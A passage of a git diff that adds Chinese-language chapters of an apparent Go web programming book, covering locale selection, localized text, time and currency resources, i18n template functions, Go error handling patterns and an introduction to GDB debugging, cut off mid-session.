+ BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) +} +``` +这三个函数实现了加解密操作,详细的操作请看上面的例子。 + +## 总结 +这小节介绍了几种加解密的算法,在开发Web应用的时候可以根据需求采用不同的方式进行加解密,一般的应用可以采用base64算法,更加高级的话可以采用aes或者des算法。 + + +## links + * [目录]() + * 上一节: [存储密码](<09.5.md>) + * 下一节: [小结](<09.7.md>) diff --git a/golang_frame/frame阅读/10.1.md b/golang_frame/frame阅读/10.1.md new file mode 100644 index 0000000..a339e4b --- /dev/null +++ b/golang_frame/frame阅读/10.1.md @@ -0,0 +1,89 @@ +# 10.1 设置默认地区 +## 什么是Locale +Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成:第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。 + +GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三部分,接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。 + + +>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名,读者可以看到这些地区名的命名规范。对于BSD等系统,没有locale命令,但是地区信息存储在/usr/share/locale中。 + +## 设置Locale +有了上面对locale的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale,我们可以通过如下几种方式来设置用户的locale。 + +### 通过域名设置Locale +设置Locale的办法之一是在应用运行的时候采用域名分级的方式,例如,我们采用 www.asta.com 当做我们的英文站(默认站),而把域名 www.asta.cn 当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处: + +- 通过URL就可以很明显的识别 +- 用户可以通过域名很直观的知道将访问那种语言的站点 +- 在Go程序中实现非常的简单方便,通过一个map就可以实现 +- 有利于搜索引擎抓取,能够提高站点的SEO + +我们可以通过下面的代码来实现域名的对应locale: +```Go + +if r.Host == "www.asta.com" { + i18n.SetLocale("en") +} else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") +} else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") +} +``` +当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示: +```Go + +prefix := strings.Split(r.Host,".") + +if prefix[0] == "en" { + i18n.SetLocale("en") +} else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") +} else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") +} +``` +通过域名设置Locale有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个Locale就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个站点去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。 + +### 从域名参数设置Locale +目前最常用的设置Locale的方式是在URL里面带上参数,例如 www.asta.com/hello?locale=zh 或者 www.asta.com/zh/hello 。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。 + +这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点,它采用RESTful的方式,以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale,这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。 + +也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books (英文站点)和 www.asta.com/zh/books (中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现): +```Go + +mux.Get("/:locale/books", listbook) +``` +### 从客户端设置地区 +在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置Locale,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),用户的IP地址,用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。 + +- Accept-Language + +客户端请求的时候在HTTP头信息里面有`Accept-Language`,一般的客户端都会设置该信息,下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码: +```Go + +AL := r.Header.Get("Accept-Language") +if AL == "en" { + i18n.SetLocale("en") +} else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") +} else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") +} +``` +当然在实际应用中,可能需要更加严格的判断来进行设置地区 +- IP地址 + + 另一种根据客户端来设定地区就是用户访问的IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单,我们只需要根据IP数据库查询用户的IP然后返回国家地区,根据返回的结果设置对应的地区。 + +- 用户profile + + 当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale,然后我们将用户输入的信息,保存到与它帐号相关的profile中,当用户再次登陆的时候把这个设置复写到locale设置中,这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。 + +## 总结 +通过上面的介绍可知,设置Locale可以有很多种方式,我们应该根据需求的不同来选择不同的设置Locale的方法,以让用户能以它最熟悉的方式,获得我们提供的服务,提高应用的用户友好性。 + +## links + * [目录]() + * 上一节: [国际化和本地化](<10.0.md>) + * 下一节: [本地化资源](<10.2.md>) diff --git a/golang_frame/frame阅读/10.2.md b/golang_frame/frame阅读/10.2.md new file mode 100644 index 0000000..d9e58b8 --- /dev/null +++ b/golang_frame/frame阅读/10.2.md @@ -0,0 +1,148 @@ + +# 10.2 本地化资源 +前面小节我们介绍了如何设置Locale,设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢?这里面的信息包括:文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们将对这些信息一一进行介绍,Go语言中我们把这些格式信息存储在JSON中,然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json) +## 本地化文本消息 +文本信息是编写Web应用中最常用到的,也是本地化资源中最多的信息,想要以适合本地语言的方式来显示文本信息,可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系,在输出之前按需从适合的map中去获取相应的文本,如下是一个简单的示例: + +```Go + +package main + +import "fmt" + +var locales map[string]map[string]string + +func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "豌豆" + cn["bean"] = "毛豆" + locales["zh-CN"] = cn + lang := "zh-CN" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) +} + +func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 + } + } + return "" +} + +``` +上面示例演示了不同locale的文本翻译,实现了中文和英文对于同一个key显示不同语言的实现,上面实现了中文的文本消息,如果想切换到英文版本,只需要把lang设置为en即可。 + +有些时候仅是key-value替换是不能满足需要的,例如"I am 30 years old",中文表达是"我今年30岁了",而此处的30是一个变量,该怎么办呢?这个时候,我们可以结合`fmt.Printf`函数来实现,请看下面的代码: +```Go + +en["how old"] ="I am %d years old" +cn["how old"] ="我今年%d岁了" + +fmt.Printf(msg(lang, "how old"), 30) +``` +上面的示例代码仅用以演示内部的实现方案,而实际数据是存储在JSON里面的,所以我们可以通过`json.Unmarshal`来为相应的map填充数据。 + +## 本地化日期和时间 +因为时区的关系,同一时刻,在不同的地区,表示是不一样的,而且因为Locale的关系,时间格式也不尽相同,例如中文环境下可能显示:`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点: + +1. 时区问题 +2. 格式问题 + +$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义,为了获得对应于当前locale的时间,我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale,比如`Asia/Shanghai`或`America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量): + +```Go + +en["time_zone"]="America/Chicago" +cn["time_zone"]="Asia/Shanghai" + +loc,_:=time.LoadLocation(msg(lang,"time_zone")) +t:=time.Now() +t = t.In(loc) +fmt.Println(t.Format(time.RFC3339)) + +``` +我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下: +```Go + +en["date_format"]="%Y-%m-%d %H:%M:%S" +cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" + +fmt.Println(date(msg(lang,"date_format"),t)) + +func date(fomate string,t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //解析相应的%Y %m %d %H %M %S然后返回信息 + //%Y 替换成2012 + //%m 替换成10 + //%d 替换成24 +} + +``` +## 本地化货币值 +各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码: +```Go + +en["money"] ="USD %d" +cn["money"] ="¥%d元" + +fmt.Println(money_format(msg(lang,"money"),100)) + +func money_format(fomate string,money int64) string{ + return fmt.Sprintf(fomate,money) +} + +``` +## 本地化视图和资源 +我们可能会根据Locale的不同来展示视图,这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢?首先我们应按locale来组织文件信息,请看下面的文件目录安排: +```html + +views +|--en //英文模板 + |--images //存储图片信息 + |--js //存储JS文件 + |--css //存储css文件 + index.tpl //用户首页 + login.tpl //登陆首页 +|--zh-CN //中文模板 + |--images + |--js + |--css + index.tpl + login.tpl + +``` +有了这个目录结构后我们就可以在渲染的地方这样来实现代码: +```Go + +s1, _ := template.ParseFiles("views/"+lang+"/index.tpl") +VV.Lang=lang +s1.Execute(os.Stdout, VV) +``` +而对于里面的index.tpl里面的资源设置如下: +```html + +// js文件 + +// css文件 + +// 图片文件 + +``` +采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。 + +## 总结 +本小节介绍了如何使用及存储本地资源,有时需要通过转换函数来实现,有时通过lang来设置,但是最终都是通过key-value的方式来存储Locale对应的数据,在需要时取出相应于Locale的信息后,如果是文本信息就直接输出,如果是时间日期或者货币,则需要先通过`fmt.Printf`或其他格式化函数来处理,而对于不同Locale的视图和资源则是最简单的,只要在路径里面增加lang就可以实现了。 + +## links + * [目录]() + * 上一节: [设置默认地区](<10.1.md>) + * 下一节: [国际化站点](<10.3.md>) + diff --git a/golang_frame/frame阅读/10.3.md b/golang_frame/frame阅读/10.3.md new file mode 100644 index 0000000..d788428 --- /dev/null +++ b/golang_frame/frame阅读/10.3.md @@ -0,0 +1,199 @@ + +# 10.3 国际化站点 +前面小节介绍了如何处理本地化资源,即Locale一个相应的配置文件,那么如果处理多个的本地化资源呢?而对于一些我们经常用到的例如:简单的文本翻译、时间日期、数字等如果处理呢?本小节将一一解决这些问题。 +## 管理多个本地包 +在开发一个应用的时候,首先我们要决定是只支持一种语言,还是多种语言,如果要支持多种语言,我们则需要制定一个组织结构,以方便将来更多语言的添加。在此我们设计如下:Locale有关的文件放置在config/locales下,假设你要支持中文和英文,那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示: +```json + +# zh.json + +{ +"zh": { + "submit": "提交", + "create": "创建" + } +} + +# en.json + +{ +"en": { + "submit": "Submit", + "create": "Create" + } +} + +``` +为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n),首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件 +```Go + +Tr:=i18n.NewLocale() +Tr.LoadPath("config/locales") + +``` +这个包使用起来很简单,你可以通过下面的方式进行测试: +```Go + +fmt.Println(Tr.Translate("submit")) +//输出Submit +Tr.SetLocale("zh") +fmt.Println(Tr.Translate("submit")) +//输出“提交” +``` +## 自动加载本地包 +上面我们介绍了如何自动加载自定义语言包,其实go-i18n库已经预加载了很多默认的格式信息,例如时间格式、货币格式,用户可以在自定义配置时改写这些默认配置,请看下面的处理过程: +```Go + +//加载默认配置文件,这些文件都放在go-i18n/locales下面 + +//文件命名zh.json、en.json、en-US.json等,可以不断的扩展支持更多的语言 + +func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() + + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) + if err != nil { + return err + } + + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) + if err != nil { + return err + } + defer file.Close() + + if err := il.loadTranslation(file, locale); err != nil { + return err + } + } + } + + return nil +} + +``` +通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息: +```Go + +//locale=zh的情况下,执行如下代码: + +fmt.Println(Tr.Time(time.Now())) +//输出:2009年1月08日 星期四 20:37:58 CST + +fmt.Println(Tr.Time(time.Now(),"long")) +//输出:2009年1月08日 + +fmt.Println(Tr.Money(11.11)) +//输出:¥11.11 +``` +## template mapfunc +上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出,但是如果我们想在模版层直接使用这些函数该怎么实现呢?不知你是否还记得,在前面介绍模板的时候说过:Go语言的模板支持自定义模板函数,下面是我们实现的方便操作的mapfunc: + +1. 文本信息 + +文本信息调用`Tr.Translate`来实现相应的信息转换,mapFunc的实现如下: +```Go + +func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Translate(s) +} + +``` +注册函数如下: +```Go + +t.Funcs(template.FuncMap{"T": I18nT}) +``` +模板中使用如下: +```Go + +{{.V.Submit | T}} +``` + +2. 时间日期 + +时间日期调用`Tr.Time`函数来实现相应的时间转换,mapFunc的实现如下: +```Go + +func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Time(s) +} +``` +注册函数如下: +```Go + +t.Funcs(template.FuncMap{"TD": I18nTimeDate}) +``` +模板中使用如下: +```Go + +{{.V.Now | TD}} +``` +3. 货币信息 + +货币调用`Tr.Money`函数来实现相应的时间转换,mapFunc的实现如下: +```Go + +func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Money(s) +} +``` +注册函数如下: +```Go + +t.Funcs(template.FuncMap{"M": I18nMoney}) +``` +模板中使用如下: +```Go + +{{.V.Money | M}} +``` +## 总结 +通过这小节我们知道了如何实现一个多语言包的Web应用,通过自定义语言包我们可以方便的实现多语言,而且通过配置文件能够非常方便的扩充多语言,默认情况下,go-i18n会自定加载一些公共的配置信息,例如时间、货币等,我们就可以非常方便的使用,同时为了支持在模板中使用这些函数,也实现了相应的模板函数,这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。 + +## links + * [目录]() + * 上一节: [本地化资源](<10.2.md>) + * 下一节: [小结](<10.4.md>) + diff --git a/golang_frame/frame阅读/10.4.md b/golang_frame/frame阅读/10.4.md new file mode 100644 index 0000000..b58fa62 --- /dev/null +++ b/golang_frame/frame阅读/10.4.md @@ -0,0 +1,6 @@ +# 10.4 小结 +通过这一章的介绍,读者应该对如何操作i18n有了深入的了解,我也根据这一章介绍的内容实现了一个开源的解决方案go-i18n:https://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用,使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方,请一起参与到这个开源项目中来,让我们的这个库争取成为Go的标准库。 +## links + * [目录]() + * 上一节: [国际化站点](<10.3.md>) + * 下一节: [错误处理,故障排除和测试](<11.0.md>) diff --git a/golang_frame/frame阅读/11.0.md b/golang_frame/frame阅读/11.0.md new file mode 100644 index 0000000..230a347 --- /dev/null +++ b/golang_frame/frame阅读/11.0.md @@ -0,0 +1,19 @@ +# 11 错误处理,调试和测试 +我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统,几乎都是花费大量的时间在进行故障排除和测试,外界都觉得我们程序员是设计师,能够把一个系统从无做到有,是一项很伟大的工作,而且是相当有趣的工作,但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题,那么你就有可能将排错时间减到最少,而尽可能的将时间花费在更有价值的事情上。 + +但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。 + +开发Web应用过程中,错误自然难免,那么如何更好的找到错误原因,解决问题呢?11.1小节将介绍Go语言中如何处理错误,如何设计自己的包、函数的错误处理,11.2小节将介绍如何使用GDB来调试我们的程序,动态运行情况下各种变量信息,运行情况的监控和调试。 + +11.3小节将对Go语言中的单元测试进行深入的探讨,并示例如何来编写单元测试,Go的单元测试规则规范如何定义,以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。 + +长期以来,培养良好的调试、测试习惯一直是很多程序员逃避的事情,所以现在你不要再逃避了,就从你现在的项目开发,从学习Go Web开发开始养成良好的习惯。 + +## 目录 + +![](images/navi11.png?raw=true) + +## links + * [目录]() + * 上一章: [第十章总结](<10.4.md>) + * 下一节: [错误处理](<11.1.md>) \ No newline at end of file diff --git a/golang_frame/frame阅读/11.1.md b/golang_frame/frame阅读/11.1.md new file mode 100644 index 0000000..ac83cfd --- /dev/null +++ b/golang_frame/frame阅读/11.1.md @@ -0,0 +1,220 @@ +# 11.1 错误处理 +Go语言主要的设计准则是:简洁、明白,简洁是指语法和C类似,相当的简单,明白是指任何语句都是很明显的,不含有任何隐含的东西,在错误处理方案的设计中也贯彻了这一思想。我们知道在C语言里面是通过返回-1或者NULL之类的信息来表示错误,但是对于使用者来说,不查看相应的API说明文档,根本搞不清楚这个返回值究竟代表什么意思,比如:返回0是成功,还是失败,而Go定义了一个叫做error的类型,来显式表达错误。在使用时,通过把返回的error变量与nil的比较,来判定操作是否成功。例如`os.Open`函数在打开文件失败时将返回一个不为nil的error变量 +```Go + +func Open(name string) (file *File, err error) +``` +下面这个例子通过调用`os.Open`打开一个文件,如果出现错误,那么就会调用`log.Fatal`来输出错误信息: +```Go + +f, err := os.Open("filename.ext") +if err != nil { + log.Fatal(err) +} +``` +类似于`os.Open`函数,标准包中所有可能出错的API都会返回一个error变量,以方便错误处理,这个小节将详细地介绍error类型的设计,和讨论开发Web应用中如何更好地处理error。 +## Error类型 +error类型是一个接口类型,这是它的定义: +```Go + +type error interface { + Error() string +} +``` +error是一个内置的接口类型,我们可以在/builtin/包下面找到相应的定义。而我们在很多内部包里面用到的 error是errors包下面的实现的私有结构errorString +```Go + +// errorString is a trivial implementation of error. +type errorString struct { + s string +} + +func (e *errorString) Error() string { + return e.s +} +``` +你可以通过`errors.New`把一个字符串转化为errorString,以得到一个满足接口error的对象,其内部实现如下: +```Go + +// New returns an error that formats as the given text. +func New(text string) error { + return &errorString{text} +} +``` +下面这个例子演示了如何使用`errors.New`: +```Go + +func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") + } + // implementation +} +``` +在下面的例子中,我们在调用Sqrt的时候传递的一个负数,然后就得到了non-nil的error对象,将此对象与nil比较,结果为true,所以fmt.Println(fmt包在处理error时会调用Error方法)被调用,以输出错误,请看下面调用的示例代码: +```Go + +f, err := Sqrt(-1) + if err != nil { + fmt.Println(err) + } +``` +## 自定义Error +通过上面的介绍我们知道error是一个interface,所以在实现自己的包的时候,通过定义实现此接口的结构,我们就可以实现自己的错误定义,请看来自Json包的示例: +```Go + +type SyntaxError struct { + msg string // 错误描述 + Offset int64 // 错误发生的位置 +} + +func (e *SyntaxError) Error() string { return e.msg } +``` +Offset字段在调用Error的时候不会被打印,但是我们可以通过类型断言获取错误类型,然后可以打印相应的错误信息,请看下面的例子: +```Go + +if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) + } + return err +} +``` +需要注意的是,函数返回自定义错误时,返回值推荐设置为error类型,而非自定义错误类型,特别需要注意的是不应预声明自定义错误类型的变量。例如: +```Go + +func Decode() *SyntaxError { // 错误,将可能导致上层调用者err!=nil的判断永远为true。 + var err *SyntaxError // 预声明错误变量 + if 出错条件 { + err = &SyntaxError{} + } + return err // 错误,err永远等于非nil,导致上层调用者err!=nil的判断始终为true + } +``` +原因见 http://golang.org/doc/faq#nil_error + +上面例子简单的演示了如何自定义Error类型。但是如果我们还需要更复杂的错误处理呢?此时,我们来参考一下net包采用的方法: +```Go + +package net + +type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? +} + +``` +在调用的地方,通过类型断言err是不是net.Error,来细化错误的处理,例如下面的例子,如果一个网络发生临时性错误,那么将会sleep 1秒之后重试: +```Go + +if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue +} +if err != nil { + log.Fatal(err) +} +``` +## 错误处理 +Go在错误处理上采用了与C类似的检查返回值的方式,而不是其他多数主流语言采用的异常方式,这造成了代码编写上的一个很大的缺点:错误处理代码的冗余,对于这种情况是我们通过复用检测函数来减少类似的代码。 + +请看下面这个例子代码: +```Go + +func init() { + http.HandleFunc("/view", viewRecord) +} + +func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) + } +} +``` +上面的例子中获取数据和模板展示调用时都有检测错误,当有错误发生时,调用了统一的处理函数`http.Error`,返回给客户端500错误码,并显示相应的错误数据。但是当越来越多的HandleFunc加入之后,这样的错误处理逻辑代码就会越来越多,其实我们可以通过自定义路由器来缩减代码(实现的思路可以参考第三章的HTTP详解)。 +```Go + +type appHandler func(http.ResponseWriter, *http.Request) error + +func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) + } +} +``` +上面我们定义了自定义的路由器,然后我们可以通过如下方式来注册函数: +```Go + +func init() { + http.Handle("/view", appHandler(viewRecord)) +} +``` +当请求/view的时候我们的逻辑处理可以变成如下代码,和第一种实现方式相比较已经简单了很多。 +```Go + +func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err + } + return viewTemplate.Execute(w, record) +} +``` +上面的例子错误处理的时候所有的错误返回给用户的都是500错误码,然后打印出来相应的错误代码,其实我们可以把这个错误信息定义的更加友好,调试的时候也方便定位问题,我们可以自定义返回的错误类型: +```Go + +type appError struct { + Error error + Message string + Code int +} +``` +这样我们的自定义路由器可以改成如下方式: +```Go + +type appHandler func(http.ResponseWriter, *http.Request) *appError + +func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) + } +} +``` +这样修改完自定义错误之后,我们的逻辑处理可以改成如下方式: +```Go + +func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} + } + return nil +} +``` +如上所示,在我们访问view的时候可以根据不同的情况获取不同的错误码和错误信息,虽然这个和第一个版本的代码量差不多,但是这个显示的错误更加明显,提示的错误信息更加友好,扩展性也比第一个更好。 + +## 总结 +在程序设计中,容错是相当重要的一部分工作,在Go中它是通过错误处理来实现的,error虽然只是一个接口,但是其变化却可以有很多,我们可以根据自己的需求来实现不同的处理,最后介绍的错误处理方案,希望能给大家在如何设计更好Web错误处理方案上带来一点思路。 + +## links + * [目录]() + * 上一节: [错误处理,调试和测试](<11.0.md>) + * 下一节: [使用GDB调试](<11.2.md>) diff --git a/golang_frame/frame阅读/11.2.md b/golang_frame/frame阅读/11.2.md new file mode 100644 index 0000000..14f15bc --- /dev/null +++ b/golang_frame/frame阅读/11.2.md @@ -0,0 +1,252 @@ +# 11.2 使用GDB调试 +开发程序过程中调试代码是开发者经常要做的一件事情,Go语言不像PHP、Python等动态语言,只要修改不需要编译就可以直接输出,而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试,但是每次都需要重新编译,这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试,Javascript也有类似工具,这些工具都能够动态的显示变量信息,单步调试等。不过庆幸的是Go也有类似的工具支持:GDB。Go内部已经内置支持了GDB,所以,我们可以通过GDB来进行调试,那么本小节就来介绍一下如何通过GDB来调试Go程序。 + +另外建议纯go代码使用[delve](https://github.com/derekparker/delve)可以很好的进行Go代码调试 + +## GDB调试简介 +GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情: + +1. 启动程序,可以按照开发者的自定义要求运行程序。 +2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式) +3. 当程序被停住时,可以检查此时程序中所发生的事。 +4. 动态的改变当前程序的执行环境。 + +目前支持调试Go程序的GDB版本必须大于7.1。 + +编译Go程序的时候需要注意以下几点 + +1. 传递参数-ldflags "-s",忽略debug的打印信息 +2. 传递-gcflags "-N -l" 参数,这样可以忽略Go内部做的一些优化,聚合变量和函数等优化,这样对于GDB调试来说非常困难,所以在编译的时候加入这两个参数避免这些优化。 + +## 常用命令 +GDB的一些常用命令如下所示 + +- list + + 简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`,显示十行代码,其中第15行在显示的十行里面的中间,如下所示。 + + 10 time.Sleep(2 * time.Second) + 11 c <- i + 12 } + 13 close(c) + 14 } + 15 + 16 func main() { + 17 msg := "Starting main" + 18 fmt.Println(msg) + 19 bus := make(chan int) + + +- break + + 简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。 + +- delete + 简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。 + + Num Type Disp Enb Address What + 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 + breakpoint already hit 1 time + +- backtrace + + 简写命令 `bt`,用来打印执行的代码过程,如下所示: + + #0 main.main () at /home/xiemengjun/gdb.go:23 + #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #3 0x0000000000000000 in ?? () +- info + + info命令用来显示信息,后面有几种参数,我们常用的有如下几种: + + - `info locals` + + 显示当前执行的程序中的变量值 + - `info breakpoints` + + 显示当前设置的断点列表 + - `info goroutines` + + 显示当前执行的goroutine列表,如下代码所示,带*的表示当前执行的 + + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched +- print + + 简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap(),用来返回当前string、slices或者maps的长度和容量。 + +- whatis + + 用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下: + + type = struct string +- next + + 简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行 +- continue + + 简称命令 `c`,用来跳出当前断点处,后面可以跟参数N,跳过多少次断点 + +- set variable + + 该命令用来改变运行过程中的变量值,格式如:`set variable =` + +## 调试过程 +我们通过下面这个代码来演示如何通过GDB来调试Go程序,下面是将要演示的代码: +```Go + +package main + +import ( + "fmt" + "time" +) + +func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i + } + close(c) +} + +func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range bus { + fmt.Println("count:", count) + } +} +``` +编译文件,生成可执行文件gdbfile: + + go build -gcflags "-N -l" gdbfile.go + +通过gdb命令启动调试: + + gdb gdbfile + +启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的: + + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + count: 0 + count: 1 + count: 2 + count: 3 + count: 4 + count: 5 + count: 6 + count: 7 + count: 8 + count: 9 + [LWP 2771 exited] + [Inferior 1 (process 2771) exited normally] +好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点: + + (gdb) b 23 + Breakpoint 1 at 0x400d8d: file 